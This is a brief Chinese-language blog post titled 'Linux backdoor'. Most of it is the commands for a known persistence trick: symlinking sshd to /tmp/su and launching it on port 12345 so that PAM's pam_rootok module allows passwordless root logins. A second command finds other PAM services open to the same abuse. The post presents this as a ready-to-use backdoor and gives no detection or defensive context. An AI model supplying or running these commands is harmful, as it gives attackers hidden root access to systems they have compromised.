linux后门

作者: broeeee | 来源:发表于2021-12-09 17:53 被阅读0次

    软链接后门

    ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=12345
    

    ssh启用了PAM,用到了pam_rootok模块

    同样还具有pam_rootok模块的文件还有

    find /etc/pam.d/ | xargs grep "pam_rootok"
    

    同样,你复制改名了,软连接调用了也可以生效.

    相关文章

      网友评论

        本文标题:linux后门

        本文链接:https://www.haomeiwen.com/subject/vpgffrtx.html